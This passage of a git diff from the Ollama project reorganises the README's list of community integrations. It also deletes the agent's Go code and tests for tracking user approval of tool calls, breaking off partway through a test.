-- [RAGFlow](https://github.com/infiniflow/ragflow) - RAG engine based on deep document understanding
-- [R2R](https://github.com/SciPhi-AI/R2R) - Open-source RAG engine
-- [MaxKB](https://github.com/1Panel-dev/MaxKB/) - Ready-to-use RAG chatbot
-- [Minima](https://github.com/dmayboroda/minima) - On-premises or fully local RAG
-- [Chipper](https://github.com/TilmanGriesel/chipper) - AI interface with Haystack RAG
-- [ARGO](https://github.com/xark-argo/argo) - RAG and deep research on Mac/Windows/Linux
-- [Archyve](https://github.com/nickthecook/archyve) - RAG-enabling document library
-- [Casibase](https://casibase.org) - AI knowledge base with RAG and SSO
-- [BrainSoup](https://www.nurgo-software.com/products/brainsoup) - Native client with RAG and multi-agent automation
-
-### Bots & Messaging
-
-- [LangBot](https://github.com/RockChinQ/LangBot) - Multi-platform messaging bots with agents and RAG
-- [AstrBot](https://github.com/Soulter/AstrBot/) - Multi-platform chatbot with RAG and plugins
-- [Discord-Ollama Chat Bot](https://github.com/kevinthedang/discord-ollama) - TypeScript Discord bot
-- [Ollama Telegram Bot](https://github.com/ruecat/ollama-telegram) - Telegram bot
-- [LLM Telegram Bot](https://github.com/innightwolfsleep/llm_telegram_bot) - Telegram bot for roleplay
-
-### Terminal & CLI
-
-- [aichat](https://github.com/sigoden/aichat) - All-in-one LLM CLI with Shell Assistant, RAG, and AI tools
-- [oterm](https://github.com/ggozad/oterm) - Terminal client for Ollama
-- [gollama](https://github.com/sammcj/gollama) - Go-based model manager for Ollama
-- [tlm](https://github.com/yusufcanb/tlm) - Local shell copilot
-- [tenere](https://github.com/pythops/tenere) - TUI for LLMs
-- [ParLlama](https://github.com/paulrobello/parllama) - TUI for Ollama
-- [llm-ollama](https://github.com/taketwo/llm-ollama) - Plugin for [Datasette's LLM CLI](https://llm.datasette.io/en/stable/)
-- [ShellOracle](https://github.com/djcopley/ShellOracle) - Shell command suggestions
-- [LLM-X](https://github.com/mrdjohnson/llm-x) - Progressive web app for LLMs
-- [cmdh](https://github.com/pgibler/cmdh) - Natural language to shell commands
-- [VT](https://github.com/vinhnx/vt.ai) - Minimal multimodal AI chat app
-
-### Productivity & Apps
-
-- [AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) - AI collaborative workspace, self-hostable Notion alternative
-- [Screenpipe](https://github.com/mediar-ai/screenpipe) - 24/7 screen and mic recording with AI-powered search
-- [Vibe](https://github.com/thewh1teagle/vibe) - Transcribe and analyze meetings
-- [Page Assist](https://github.com/n4ze3m/page-assist) - Chrome extension for AI-powered browsing
-- [NativeMind](https://github.com/NativeMindBrowser/NativeMindExtension) - Private, on-device browser AI assistant
-- [Ollama Fortress](https://github.com/ParisNeo/ollama_proxy_server) - Security proxy for Ollama
-- [1Panel](https://github.com/1Panel-dev/1Panel/) - Web-based Linux server management
-- [Writeopia](https://github.com/Writeopia/Writeopia) - Text editor with Ollama integration
-- [QA-Pilot](https://github.com/reid41/QA-Pilot) - GitHub code repository understanding
-- [Raycast extension](https://github.com/MassimilianoPasquini97/raycast_ollama) - Ollama in Raycast
-- [Painting Droid](https://github.com/mateuszmigas/painting-droid) - Painting app with AI integrations
-- [Serene Pub](https://github.com/doolijb/serene-pub) - AI roleplaying app
-- [Mayan EDMS](https://gitlab.com/mayan-edms/mayan-edms) - Document management with Ollama workflows
-- [TagSpaces](https://www.tagspaces.org) - File management with [AI tagging](https://docs.tagspaces.org/ai/)
-
-### Observability & Monitoring
-
-- [Opik](https://www.comet.com/docs/opik/cookbook/ollama) - Debug, evaluate, and monitor LLM applications
-- [OpenLIT](https://github.com/openlit/openlit) - OpenTelemetry-native monitoring for Ollama and GPUs
-- [Lunary](https://lunary.ai/docs/integrations/ollama) - LLM observability with analytics and PII masking
-- [Langfuse](https://langfuse.com/docs/integrations/ollama) - Open source LLM observability
-- [HoneyHive](https://docs.honeyhive.ai/integrations/ollama) - AI observability and evaluation for agents
-- [MLflow Tracing](https://mlflow.org/docs/latest/llms/tracing/index.html#automatic-tracing) - Open source LLM observability
-
-### Database & Embeddings
-
-- [pgai](https://github.com/timescale/pgai) - PostgreSQL as a vector database ([guide](https://github.com/timescale/pgai/blob/main/docs/vectorizer-quick-start.md))
-- [MindsDB](https://github.com/mindsdb/mindsdb/blob/staging/mindsdb/integrations/handlers/ollama_handler/README.md) - Connect Ollama with 200+ data platforms
-- [chromem-go](https://github.com/philippgille/chromem-go/blob/v0.5.0/embed_ollama.go) - Embeddable vector database for Go ([example](https://github.com/philippgille/chromem-go/tree/v0.5.0/examples/rag-wikipedia-ollama))
-- [Kangaroo](https://github.com/dbkangaroo/kangaroo) - AI-powered SQL client
-
-### Infrastructure & Deployment
-
-#### Cloud
+### Cloud
 
 - [Google Cloud](https://cloud.google.com/run/docs/tutorials/gpu-gemma2-with-ollama)
 - [Fly.io](https://fly.io/docs/python/do-more/add-ollama/)
 - [Koyeb](https://www.koyeb.com/deploy/ollama)
-- [Harbor](https://github.com/av/harbor) - Containerized LLM toolkit with Ollama as default backend
 
-#### Package Managers
+### Tutorial
+
+- [handy-ollama](https://github.com/datawhalechina/handy-ollama) (Chinese Tutorial for Ollama by [Datawhale ](https://github.com/datawhalechina) - China's Largest Open Source AI Learning Community)
+
+### Terminal
+
+- [oterm](https://github.com/ggozad/oterm)
+- [Ellama Emacs client](https://github.com/s-kostyaev/ellama)
+- [Emacs client](https://github.com/zweifisch/ollama)
+- [neollama](https://github.com/paradoxical-dev/neollama) UI client for interacting with models from within Neovim
+- [gen.nvim](https://github.com/David-Kunz/gen.nvim)
+- [ollama.nvim](https://github.com/nomnivore/ollama.nvim)
+- [ollero.nvim](https://github.com/marco-souza/ollero.nvim)
+- [ollama-chat.nvim](https://github.com/gerazov/ollama-chat.nvim)
+- [ogpt.nvim](https://github.com/huynle/ogpt.nvim)
+- [gptel Emacs client](https://github.com/karthink/gptel)
+- [Oatmeal](https://github.com/dustinblackman/oatmeal)
+- [cmdh](https://github.com/pgibler/cmdh)
+- [ooo](https://github.com/npahlfer/ooo)
+- [shell-pilot](https://github.com/reid41/shell-pilot)(Interact with models via pure shell scripts on Linux or macOS)
+- [tenere](https://github.com/pythops/tenere)
+- [llm-ollama](https://github.com/taketwo/llm-ollama) for [Datasette's LLM CLI](https://llm.datasette.io/en/stable/).
+- [typechat-cli](https://github.com/anaisbetts/typechat-cli)
+- [ShellOracle](https://github.com/djcopley/ShellOracle)
+- [tlm](https://github.com/yusufcanb/tlm)
+- [podman-ollama](https://github.com/ericcurtin/podman-ollama)
+- [gollama](https://github.com/sammcj/gollama)
+- [ParLlama](https://github.com/paulrobello/parllama)
+- [Ollama eBook Summary](https://github.com/cognitivetech/ollama-ebook-summary/)
+- [Ollama Mixture of Experts (MOE) in 50 lines of code](https://github.com/rapidarchitect/ollama_moe)
+- [vim-intelligence-bridge](https://github.com/pepo-ec/vim-intelligence-bridge) Simple interaction of "Ollama" with the Vim editor
+- [x-cmd ollama](https://x-cmd.com/mod/ollama)
+- [bb7](https://github.com/drunkwcodes/bb7)
+- [SwollamaCLI](https://github.com/marcusziade/Swollama) bundled with the Swollama Swift package. [Demo](https://github.com/marcusziade/Swollama?tab=readme-ov-file#cli-usage)
+- [aichat](https://github.com/sigoden/aichat) All-in-one LLM CLI tool featuring Shell Assistant, Chat-REPL, RAG, AI tools & agents, with access to OpenAI, Claude, Gemini, Ollama, Groq, and more.
+- [PowershAI](https://github.com/rrg92/powershai) PowerShell module that brings AI to terminal on Windows, including support for Ollama
+- [DeepShell](https://github.com/Abyss-c0re/deepshell) Your self-hosted AI assistant. Interactive Shell, Files and Folders analysis.
+- [orbiton](https://github.com/xyproto/orbiton) Configuration-free text editor and IDE with support for tab completion with Ollama.
+- [orca-cli](https://github.com/molbal/orca-cli) Ollama Registry CLI Application - Browse, pull, and download models from Ollama Registry in your terminal.
+- [GGUF-to-Ollama](https://github.com/jonathanhecl/gguf-to-ollama) - Importing GGUF to Ollama made easy (multiplatform)
+- [AWS-Strands-With-Ollama](https://github.com/rapidarchitect/ollama_strands) - AWS Strands Agents with Ollama Examples
+- [ollama-multirun](https://github.com/attogram/ollama-multirun) - A bash shell script to run a single prompt against any or all of your locally installed ollama models, saving the output and performance statistics as easily navigable web pages. ([Demo](https://attogram.github.io/ai_test_zone/))
+- [ollama-bash-toolshed](https://github.com/attogram/ollama-bash-toolshed) - Bash scripts to chat with tool using models. Add new tools to your shed with ease. Runs on Ollama.
+- [hle-eval-ollama](https://github.com/mags0ft/hle-eval-ollama) - Runs benchmarks like "Humanity's Last Exam" (HLE) on your favorite local Ollama models and evaluates the quality of their responses
+- [VT Code](https://github.com/vinhnx/vtcode) - VT Code is a Rust-based terminal coding agent with semantic code intelligence via Tree-sitter. Ollama integration for running local/cloud models with configurable endpoints.
+
+### Apple Vision Pro
+
+- [SwiftChat](https://github.com/aws-samples/swift-chat) (Cross-platform AI chat app supporting Apple Vision Pro via "Designed for iPad")
+- [Enchanted](https://github.com/AugustDev/enchanted)
+
+### Database
+
+- [pgai](https://github.com/timescale/pgai) - PostgreSQL as a vector database (Create and search embeddings from Ollama models using pgvector)
+   - [Get started guide](https://github.com/timescale/pgai/blob/main/docs/vectorizer-quick-start.md)
+- [MindsDB](https://github.com/mindsdb/mindsdb/blob/staging/mindsdb/integrations/handlers/ollama_handler/README.md) (Connects Ollama models with nearly 200 data platforms and apps)
+- [chromem-go](https://github.com/philippgille/chromem-go/blob/v0.5.0/embed_ollama.go) with [example](https://github.com/philippgille/chromem-go/tree/v0.5.0/examples/rag-wikipedia-ollama)
+- [Kangaroo](https://github.com/dbkangaroo/kangaroo) (AI-powered SQL client and admin tool for popular databases)
+
+### Package managers
 
 - [Pacman](https://archlinux.org/packages/extra/x86_64/ollama/)
-- [Homebrew](https://formulae.brew.sh/formula/ollama)
-- [Nix package](https://search.nixos.org/packages?show=ollama&from=0&size=50&sort=relevance&type=packages&query=ollama)
-- [Helm Chart](https://artifacthub.io/packages/helm/ollama-helm/ollama)
 - [Gentoo](https://github.com/gentoo/guru/tree/master/app-misc/ollama)
-- [Flox](https://flox.dev/blog/ollama-part-one)
+- [Homebrew](https://formulae.brew.sh/formula/ollama)
+- [Helm Chart](https://artifacthub.io/packages/helm/ollama-helm/ollama)
 - [Guix channel](https://codeberg.org/tusharhero/ollama-guix)
+- [Nix package](https://search.nixos.org/packages?show=ollama&from=0&size=50&sort=relevance&type=packages&query=ollama)
+- [Flox](https://flox.dev/blog/ollama-part-one)
+
+### Libraries
+
+- [LangChain](https://python.langchain.com/docs/integrations/chat/ollama/) and [LangChain.js](https://js.langchain.com/docs/integrations/chat/ollama/) with [example](https://js.langchain.com/docs/tutorials/local_rag/)
+- [Firebase Genkit](https://firebase.google.com/docs/genkit/plugins/ollama)
+- [crewAI](https://github.com/crewAIInc/crewAI)
+- [Yacana](https://remembersoftwares.github.io/yacana/) (User-friendly multi-agent framework for brainstorming and executing predetermined flows with built-in tool integration)
+- [Strands Agents](https://github.com/strands-agents/sdk-python) (A model-driven approach to building AI agents in just a few lines of code)
+- [Spring AI](https://github.com/spring-projects/spring-ai) with [reference](https://docs.spring.io/spring-ai/reference/api/chat/ollama-chat.html) and [example](https://github.com/tzolov/ollama-tools)
+- [LangChainGo](https://github.com/tmc/langchaingo/) with [example](https://github.com/tmc/langchaingo/tree/main/examples/ollama-completion-example)
+- [LangChain4j](https://github.com/langchain4j/langchain4j) with [example](https://github.com/langchain4j/langchain4j-examples/tree/main/ollama-examples/src/main/java)
+- [LangChainRust](https://github.com/Abraxas-365/langchain-rust) with [example](https://github.com/Abraxas-365/langchain-rust/blob/main/examples/llm_ollama.rs)
+- [LangChain for .NET](https://github.com/tryAGI/LangChain) with [example](https://github.com/tryAGI/LangChain/blob/main/examples/LangChain.Samples.OpenAI/Program.cs)
+- [LLPhant](https://github.com/theodo-group/LLPhant?tab=readme-ov-file#ollama)
+- [LlamaIndex](https://docs.llamaindex.ai/en/stable/examples/llm/ollama/) and [LlamaIndexTS](https://ts.llamaindex.ai/modules/llms/available_llms/ollama)
+- [LiteLLM](https://github.com/BerriAI/litellm)
+- [OllamaFarm for Go](https://github.com/presbrey/ollamafarm)
+- [OllamaSharp for .NET](https://github.com/awaescher/OllamaSharp)
+- [Ollama for Ruby](https://github.com/gbaptista/ollama-ai)
+- [Ollama-rs for Rust](https://github.com/pepperoni21/ollama-rs)
+- [Ollama-hpp for C++](https://github.com/jmont-dev/ollama-hpp)
+- [Ollama4j for Java](https://github.com/ollama4j/ollama4j)
+- [ModelFusion Typescript Library](https://modelfusion.dev/integration/model-provider/ollama)
+- [OllamaKit for Swift](https://github.com/kevinhermawan/OllamaKit)
+- [Ollama for Dart](https://github.com/breitburg/dart-ollama)
+- [Ollama for Laravel](https://github.com/cloudstudio/ollama-laravel)
+- [LangChainDart](https://github.com/davidmigloz/langchain_dart)
+- [Semantic Kernel - Python](https://github.com/microsoft/semantic-kernel/tree/main/python/semantic_kernel/connectors/ai/ollama)
+- [Haystack](https://github.com/deepset-ai/haystack-integrations/blob/main/integrations/ollama.md)
+- [Elixir LangChain](https://github.com/brainlid/langchain)
+- [Ollama for R - rollama](https://github.com/JBGruber/rollama)
+- [Ollama for R - ollama-r](https://github.com/hauselin/ollama-r)
+- [Ollama-ex for Elixir](https://github.com/lebrunel/ollama-ex)
+- [Ollama Connector for SAP ABAP](https://github.com/b-tocs/abap_btocs_ollama)
+- [Testcontainers](https://testcontainers.com/modules/ollama/)
+- [Portkey](https://portkey.ai/docs/welcome/integration-guides/ollama)
+- [PromptingTools.jl](https://github.com/svilupp/PromptingTools.jl) with an [example](https://svilupp.github.io/PromptingTools.jl/dev/examples/working_with_ollama)
+- [LlamaScript](https://github.com/Project-Llama/llamascript)
+- [llm-axe](https://github.com/emirsahin1/llm-axe) (Python Toolkit for Building LLM Powered Apps)
+- [Gollm](https://docs.gollm.co/examples/ollama-example)
+- [Gollama for Golang](https://github.com/jonathanhecl/gollama)
+- [Ollamaclient for Golang](https://github.com/xyproto/ollamaclient)
+- [High-level function abstraction in Go](https://gitlab.com/tozd/go/fun)
+- [Ollama PHP](https://github.com/ArdaGnsrn/ollama-php)
+- [Agents-Flex for Java](https://github.com/agents-flex/agents-flex) with [example](https://github.com/agents-flex/agents-flex/tree/main/agents-flex-llm/agents-flex-llm-ollama/src/test/java/com/agentsflex/llm/ollama)
+- [Parakeet](https://github.com/parakeet-nest/parakeet) is a GoLang library, made to simplify the development of small generative AI applications with Ollama.
+- [Haverscript](https://github.com/andygill/haverscript) with [examples](https://github.com/andygill/haverscript/tree/main/examples)
+- [Ollama for Swift](https://github.com/mattt/ollama-swift)
+- [Swollama for Swift](https://github.com/guitaripod/Swollama) with [DocC](https://guitaripod.github.io/Swollama/documentation/swollama)
+- [GoLamify](https://github.com/prasad89/golamify)
+- [Ollama for Haskell](https://github.com/tusharad/ollama-haskell)
+- [multi-llm-ts](https://github.com/nbonamy/multi-llm-ts) (A Typescript/JavaScript library allowing access to different LLM in a unified API)
+- [LlmTornado](https://github.com/lofcz/llmtornado) (C# library providing a unified interface for major FOSS & Commercial inference APIs)
+- [Ollama for Zig](https://github.com/dravenk/ollama-zig)
+- [Abso](https://github.com/lunary-ai/abso) (OpenAI-compatible TypeScript SDK for any LLM provider)
+- [Nichey](https://github.com/goodreasonai/nichey) is a Python package for generating custom wikis for your research topic
+- [Ollama for D](https://github.com/kassane/ollama-d)
+- [OllamaPlusPlus](https://github.com/HardCodeDev777/OllamaPlusPlus) (Very simple C++ library for Ollama)
+- [any-llm](https://github.com/mozilla-ai/any-llm) (A single interface to use different llm providers by [mozilla.ai](https://www.mozilla.ai/))
+- [any-agent](https://github.com/mozilla-ai/any-agent) (A single interface to use and evaluate different agent frameworks by [mozilla.ai](https://www.mozilla.ai/))
+- [Neuro SAN](https://github.com/cognizant-ai-lab/neuro-san-studio) (Data-driven multi-agent orchestration framework) with [example](https://github.com/cognizant-ai-lab/neuro-san-studio/blob/main/docs/user_guide.md#ollama)
+- [achatbot-go](https://github.com/ai-bot-pro/achatbot-go) a multimodal(text/audio/image) chatbot.
+- [Ollama Bash Lib](https://github.com/attogram/ollama-bash-lib) - A Bash Library for Ollama. Run LLM prompts straight from your shell, and more
+
+### Mobile
+
+- [SwiftChat](https://github.com/aws-samples/swift-chat) (Lightning-fast Cross-platform AI chat app with native UI for Android, iOS, and iPad)
+- [Enchanted](https://github.com/AugustDev/enchanted)
+- [Maid](https://github.com/Mobile-Artificial-Intelligence/maid)
+- [Ollama App](https://github.com/JHubi1/ollama-app) (Modern and easy-to-use multi-platform client for Ollama)
+- [ConfiChat](https://github.com/1runeberg/confichat) (Lightweight, standalone, multi-platform, and privacy-focused LLM chat interface with optional encryption)
+- [Ollama Android Chat](https://github.com/sunshine0523/OllamaServer) (No need for Termux, start the Ollama service with one click on an Android device)
+- [Reins](https://github.com/ibrahimcetin/reins) (Easily tweak parameters, customize system prompts per chat, and enhance your AI experiments with reasoning model support.)
+
+### Extensions & Plugins
+
+- [Raycast extension](https://github.com/MassimilianoPasquini97/raycast_ollama)
+- [Discollama](https://github.com/mxyng/discollama) (Discord bot inside the Ollama discord channel)
+- [Continue](https://github.com/continuedev/continue)
+- [Vibe](https://github.com/thewh1teagle/vibe) (Transcribe and analyze meetings with Ollama)
+- [Obsidian Ollama plugin](https://github.com/hinterdupfinger/obsidian-ollama)
+- [Logseq Ollama plugin](https://github.com/omagdy7/ollama-logseq)
+- [NotesOllama](https://github.com/andersrex/notesollama) (Apple Notes Ollama plugin)
+- [Dagger Chatbot](https://github.com/samalba/dagger-chatbot)
+- [Discord AI Bot](https://github.com/mekb-turtle/discord-ai-bot)
+- [Ollama Telegram Bot](https://github.com/ruecat/ollama-telegram)
+- [Hass Ollama Conversation](https://github.com/ej52/hass-ollama-conversation)
+- [Rivet plugin](https://github.com/abrenneke/rivet-plugin-ollama)
+- [Obsidian BMO Chatbot plugin](https://github.com/longy2k/obsidian-bmo-chatbot)
+- [Cliobot](https://github.com/herval/cliobot) (Telegram bot with Ollama support)
+- [Copilot for Obsidian plugin](https://github.com/logancyang/obsidian-copilot)
+- [Obsidian Local GPT plugin](https://github.com/pfrankov/obsidian-local-gpt)
+- [Open Interpreter](https://docs.openinterpreter.com/language-model-setup/local-models/ollama)
+- [Llama Coder](https://github.com/ex3ndr/llama-coder) (Copilot alternative using Ollama)
+- [Ollama Copilot](https://github.com/bernardo-bruning/ollama-copilot) (Proxy that allows you to use Ollama as a copilot like GitHub Copilot)
+- [twinny](https://github.com/rjmacarthy/twinny) (Copilot and Copilot chat alternative using Ollama)
+- [Wingman-AI](https://github.com/RussellCanfield/wingman-ai) (Copilot code and chat alternative using Ollama and Hugging Face)
+- [Page Assist](https://github.com/n4ze3m/page-assist) (Chrome Extension)
+- [Plasmoid Ollama Control](https://github.com/imoize/plasmoid-ollamacontrol) (KDE Plasma extension that allows you to quickly manage/control Ollama model)
+- [AI Telegram Bot](https://github.com/tusharhero/aitelegrambot) (Telegram bot using Ollama in backend)
+- [AI ST Completion](https://github.com/yaroslavyaroslav/OpenAI-sublime-text) (Sublime Text 4 AI assistant plugin with Ollama support)
+- [Discord-Ollama Chat Bot](https://github.com/kevinthedang/discord-ollama) (Generalized TypeScript Discord Bot w/ Tuning Documentation)
+- [ChatGPTBox: All in one browser extension](https://github.com/josStorer/chatGPTBox) with [Integrating Tutorial](https://github.com/josStorer/chatGPTBox/issues/616#issuecomment-1975186467)
+- [Discord AI chat/moderation bot](https://github.com/rapmd73/Companion) Chat/moderation bot written in python. Uses Ollama to create personalities.
+- [Headless Ollama](https://github.com/nischalj10/headless-ollama) (Scripts to automatically install ollama client & models on any OS for apps that depend on ollama server)
+- [Terraform AWS Ollama & Open WebUI](https://github.com/xuyangbocn/terraform-aws-self-host-llm) (A Terraform module to deploy on AWS a ready-to-use Ollama service, together with its front-end Open WebUI service.)
+- [node-red-contrib-ollama](https://github.com/jakubburkiewicz/node-red-contrib-ollama)
+- [Local AI Helper](https://github.com/ivostoykov/localAI) (Chrome and Firefox extensions that enable interactions with the active tab and customisable API endpoints. Includes secure storage for user prompts.)
+- [LSP-AI](https://github.com/SilasMarvin/lsp-ai) (Open-source language server for AI-powered functionality)
+- [QodeAssist](https://github.com/Palm1r/QodeAssist) (AI-powered coding assistant plugin for Qt Creator)
+- [Obsidian Quiz Generator plugin](https://github.com/ECuiDev/obsidian-quiz-generator)
+- [AI Summary Helper plugin](https://github.com/philffm/ai-summary-helper)
+- [TextCraft](https://github.com/suncloudsmoon/TextCraft) (Copilot in Word alternative using Ollama)
+- [Alfred Ollama](https://github.com/zeitlings/alfred-ollama) (Alfred Workflow)
+- [TextLLaMA](https://github.com/adarshM84/TextLLaMA) A Chrome Extension that helps you write emails, correct grammar, and translate into any language
+- [Simple-Discord-AI](https://github.com/zyphixor/simple-discord-ai)
+- [LLM Telegram Bot](https://github.com/innightwolfsleep/llm_telegram_bot) (telegram bot, primary for RP. Oobabooga-like buttons, [A1111](https://github.com/AUTOMATIC1111/stable-diffusion-webui) API integration e.t.c)
+- [mcp-llm](https://github.com/sammcj/mcp-llm) (MCP Server to allow LLMs to call other LLMs)
+- [SimpleOllamaUnity](https://github.com/HardCodeDev777/SimpleOllamaUnity) (Unity Engine extension for communicating with Ollama in a few lines of code. Also works at runtime)
+- [UnityCodeLama](https://github.com/HardCodeDev777/UnityCodeLama) (Unity Editor tool to analyze scripts via Ollama)
+- [NativeMind](https://github.com/NativeMindBrowser/NativeMindExtension) (Private, on-device AI Assistant, no cloud dependencies)
+- [GMAI - Gradle Managed AI](https://gmai.premex.se/) (Gradle plugin for automated Ollama lifecycle management during build phases)
+- [NOMYO Router](https://github.com/nomyo-ai/nomyo-router) (A transparent Ollama proxy with model deployment aware routing which auto-manages multiple Ollama instances in a given network)
+
+### Supported backends
+
+- [llama.cpp](https://github.com/ggml-org/llama.cpp) project founded by Georgi Gerganov.
+
+### Observability
+- [Opik](https://www.comet.com/docs/opik/cookbook/ollama) is an open-source platform to debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards. Opik supports native integration to Ollama.
+- [Lunary](https://lunary.ai/docs/integrations/ollama) is the leading open-source LLM observability platform. It provides a variety of enterprise-grade features such as real-time analytics, prompt templates management, PII masking, and comprehensive agent tracing.
+- [OpenLIT](https://github.com/openlit/openlit) is an OpenTelemetry-native tool for monitoring Ollama Applications & GPUs using traces and metrics.
+- [HoneyHive](https://docs.honeyhive.ai/integrations/ollama) is an AI observability and evaluation platform for AI agents. Use HoneyHive to evaluate agent performance, interrogate failures, and monitor quality in production.
+- [Langfuse](https://langfuse.com/docs/integrations/ollama) is an open source LLM observability platform that enables teams to collaboratively monitor, evaluate and debug AI applications.
+- [MLflow Tracing](https://mlflow.org/docs/latest/llms/tracing/index.html#automatic-tracing) is an open source LLM observability tool with a convenient API to log and visualize traces, making it easy to debug and evaluate GenAI applications.
+
+### Security
+- [Ollama Fortress](https://github.com/ParisNeo/ollama_proxy_server)

agent/approval.go

@@ -1,198 +0,0 @@
-package agent
-
-import (
-	"context"
-	"strings"
-	"sync"
-)
-
-type ApprovalRequest struct {
-	WorkingDir string
-	Calls      []ApprovalToolCall
-}
-
-func (r *ApprovalRequest) AddToolCall(id, name, scope string, args map[string]any) {
-	r.Calls = append(r.Calls, ApprovalToolCall{
-		ToolCallID:    id,
-		ToolName:      name,
-		Args:          args,
-		ApprovalScope: scope,
-	})
-}
-
-type ApprovalToolCall struct {
-	ToolCallID    string
-	ToolName      string
-	Args          map[string]any
-	ApprovalScope string
-}
-
-type Approval struct {
-	Allow       bool
-	AllowAll    bool
-	AllowScopes []string
-	Reason      string
-}
-
-type ApprovalPrompter interface {
-	PromptApproval(context.Context, ApprovalRequest) (Approval, error)
-}
-
-type ApprovalState struct {
-	mu       sync.RWMutex
-	allowAll bool
-	scopes   map[string]bool
-}
-
-func (s *ApprovalState) Set(allowAll bool, scopes map[string]bool) {
-	if s == nil {
-		return
-	}
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.allowAll = allowAll
-	s.scopes = cloneApprovalScopes(scopes)
-}
-
-// GrantAll grants blanket approval for all future tool calls.
-func (s *ApprovalState) GrantAll() {
-	if s == nil {
-		return
-	}
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.allowAll = true
-}
-
-// AllGranted reports whether blanket approval has been granted.
-func (s *ApprovalState) AllGranted() bool {
-	if s == nil {
-		return false
-	}
-	s.mu.RLock()
-	defer s.mu.RUnlock()
-	return s.allowAll
-}
-
-func (s *ApprovalState) Allows(scope string) bool {
-	if s == nil {
-		return false
-	}
-	s.mu.RLock()
-	defer s.mu.RUnlock()
-	return s.allowAll || s.scopes[scope]
-}
-
-// Apply merges an approval's scopes and allow-all flag into the state. It
-// returns true if the approval grants permission (allow-all or at least one
-// scope). It does not mutate the approval; the caller sets Allow based on the
-// returned value.
-func (s *ApprovalState) Apply(result *Approval) bool {
-	if s == nil || result == nil {
-		return false
-	}
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	granted := false
-	if result.AllowAll {
-		s.allowAll = true
-		granted = true
-	}
-	if len(result.AllowScopes) > 0 {
-		granted = true
-		s.grantScopesLocked(result.AllowScopes)
-	}
-	return granted
-}
-
-// GrantScopes merges the given scopes into the state.
-func (s *ApprovalState) GrantScopes(scopes []string) {
-	if s == nil {
-		return
-	}
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.grantScopesLocked(scopes)
-}
-
-// grantScopesLocked adds trimmed, non-empty scopes to the state. Caller must
-// hold s.mu.
-func (s *ApprovalState) grantScopesLocked(scopes []string) {
-	if s.scopes == nil {
-		s.scopes = make(map[string]bool, len(scopes))
-	}
-	for _, scope := range scopes {
-		scope = strings.TrimSpace(scope)
-		if scope != "" {
-			s.scopes[scope] = true
-		}
-	}
-}
-
-func cloneApprovalScopes(src map[string]bool) map[string]bool {
-	if len(src) == 0 {
-		return nil
-	}
-	dst := make(map[string]bool, len(src))
-	for scope, allowed := range src {
-		if allowed {
-			dst[scope] = true
-		}
-	}
-	return dst
-}
-
-func (s *Session) needsApproval(tool Tool, name string, args map[string]any) bool {
-	return ToolRequiresApproval(tool, args) && !s.allows(toolApprovalScope(tool, name, args))
-}
-
-// allows reports whether scope is permitted by the session's accumulated approval state.
-func (s *Session) allows(scope string) bool {
-	if s == nil || s.ApprovalState == nil {
-		return false
-	}
-	return s.ApprovalState.Allows(scope)
-}
-
-// applyApproval merges an approval result into the session's state and marks
-// the result as allowed when scopes or allow-all were granted.
-func (s *Session) applyApproval(result *Approval) {
-	if s == nil || result == nil {
-		return
-	}
-	if s.ApprovalState == nil {
-		s.ApprovalState = &ApprovalState{}
-	}
-	if s.ApprovalState.Apply(result) {
-		result.Allow = true
-	}
-}
-
-func (s *Session) authorizeToolCalls(ctx context.Context, req ApprovalRequest) (Approval, error) {
-	if s == nil || len(req.Calls) == 0 || (s.ApprovalState != nil && s.ApprovalState.AllGranted()) {
-		return Approval{Allow: true}, nil
-	}
-	if s.ApprovalPrompter == nil {
-		return Approval{
-			Reason: "Tool execution requires approval, but no approval prompter is available.",
-		}, nil
-	}
-
-	result, err := s.ApprovalPrompter.PromptApproval(ctx, req)
-	if err != nil {
-		return Approval{}, err
-	}
-	s.applyApproval(&result)
-	return result, nil
-}
-
-// toolApprovalScope returns the approval scope key for a tool invocation.
-// If the tool implements ScopedTool, its ApprovalScope method determines the
-// scope (e.g. shell tools scope to "<tool>\x00<command>"). Otherwise the scope
-// is the trimmed tool name.
-func toolApprovalScope(tool Tool, toolName string, args map[string]any) string {
-	if scoped, ok := tool.(ScopedTool); ok {
-		return scoped.ApprovalScope(args)
-	}
-	return strings.TrimSpace(toolName)
-}

agent/approval_test.go

@@ -1,95 +0,0 @@
-package agent
-
-import (
-	"context"
-	"strings"
-	"testing"
-
-	"github.com/ollama/ollama/api"
-)
-
-type mockTool struct {
-	name string
-}
-
-func (m mockTool) Name() string        { return m.name }
-func (m mockTool) Description() string { return "" }
-func (m mockTool) Schema() api.ToolFunction {
-	return api.ToolFunction{Name: m.name}
-}
-
-func (m mockTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
-	return ToolResult{}, nil
-}
-
-func TestToolApprovalScopeUsesScopedTool(t *testing.T) {
-	shellTool := mockScopedTool{
-		mockTool: mockTool{name: "bash"},
-		scope: func(args map[string]any) string {
-			if cmd, ok := args["command"].(string); ok {
-				cmd = strings.TrimSpace(cmd)
-				if cmd != "" {
-					return "bash\x00" + cmd
-				}
-			}
-			return "bash"
-		},
-	}
-	plainTool := mockTool{name: "edit"}
-
-	tests := []struct {
-		tool Tool
-		name string
-		args map[string]any
-		want string
-	}{
-		{shellTool, "bash", map[string]any{"command": " pwd "}, "bash\x00pwd"},
-		{shellTool, "bash", map[string]any{"command": "Get-ChildItem"}, "bash\x00Get-ChildItem"},
-		{plainTool, "edit", map[string]any{"path": "README.md"}, "edit"},
-	}
-	for _, tt := range tests {
-		if got := toolApprovalScope(tt.tool, tt.name, tt.args); got != tt.want {
-			t.Fatalf("toolApprovalScope(%q) = %q, want %q", tt.name, got, tt.want)
-		}
-	}
-}
-
-type mockScopedTool struct {
-	mockTool
-	scope func(args map[string]any) string
-}
-
-func (m mockScopedTool) ApprovalScope(args map[string]any) string {
-	return m.scope(args)
-}
-
-func TestSessionApplyApprovalScopes(t *testing.T) {
-	session := &Session{}
-	result := Approval{AllowScopes: []string{"edit", "bash\x00pwd", " "}}
-
-	session.applyApproval(&result)
-
-	if !result.Allow {
-		t.Fatal("scoped approval should allow the current request")
-	}
-	if !session.allows("edit") || !session.allows("bash\x00pwd") {
-		t.Fatal("scoped approval was not saved")
-	}
